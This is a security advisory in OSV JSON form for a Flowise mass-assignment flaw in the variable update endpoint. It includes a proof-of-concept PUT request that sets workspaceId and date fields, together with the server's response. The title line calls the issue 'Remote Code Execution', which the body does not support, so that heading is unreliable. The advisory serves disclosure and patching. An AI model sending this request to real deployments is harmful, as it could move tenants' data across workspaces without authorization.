CVE-2026-42861: Flowise Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6fw7-3q8r-m5vj",
  "modified" : "2026-06-09T13:09:53Z",
  "published" : "2026-05-14T14:52:24Z",
  "aliases" : [ "CVE-2026-42861" ],
  "summary" : "FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment",
  "details" : "### Summary\nA Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.\n\nThe endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.\n\nDue to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.\n\nThis behavior may break tenant isolation in multi-workspace environments.\n\n### Details\nThe endpoint responsible for updating variables:\n\n**PUT /api/v1/variables/{variableId}**\n\naccepts a JSON request body containing the variable definition.\n\nHowever, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.\n\nServer-controlled fields that can be manipulated include:\n\n- workspaceId\n- createdDate\n- updatedDate\n\nThese fields appear to be directly mapped to the database entity without strict input validation or authorization checks.\n\nFor example, the following request body was accepted by the server:\n\n```json\n{\n  \"name\": \"aaa\",\n  \"value\": \"bbbe\",\n  \"type\": \"static\",\n  \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n  \"updatedDate\": \"2016-03-06T18:00:17.000Z\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\nThe server accepted the attacker-controlled workspaceId and metadata fields and persisted them.\n\n### PoC\n**Request**\n\n```http\nPUT /api/v1/variables/<VARIABLE_ID>\nContent-Type: application/json\n\n{\n  \"name\": \"aaa\",\n  \"value\": \"bbbe\",\n  \"type\": \"static\",\n  \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n  \"updatedDate\": \"2016-03-06T18:00:17.000Z\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\n**Response**\n\n```json\n{\n  \"id\": \"0a2b9f61-4a97-4ff8-b80d-00275ed18674\",\n  \"name\": \"aaa\",\n  \"value\": \"bbbe\",\n  \"type\": \"static\",\n  \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n  \"updatedDate\": \"2026-03-06T18:05:17.000Z\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\nThis confirms that the backend accepts and persists attacker-controlled internal properties.\n\n### Impact\nThis vulnerability allows authenticated users to manipulate internal attributes of variable resources.\n\nPossible impacts include:\n\n1. Cross-workspace reassignment of variables (workspaceId)\n2. Unauthorized modification of metadata (createdDate, updatedDate)\n3. Potential tenant isolation bypass in multi-workspace deployments\n\nIn multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6fw7-3q8r-m5vj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42861"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-639", "CWE-915" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T14:52:24Z",
    "nvd_published_at" : "2026-06-08T16:16:39Z"
  }
}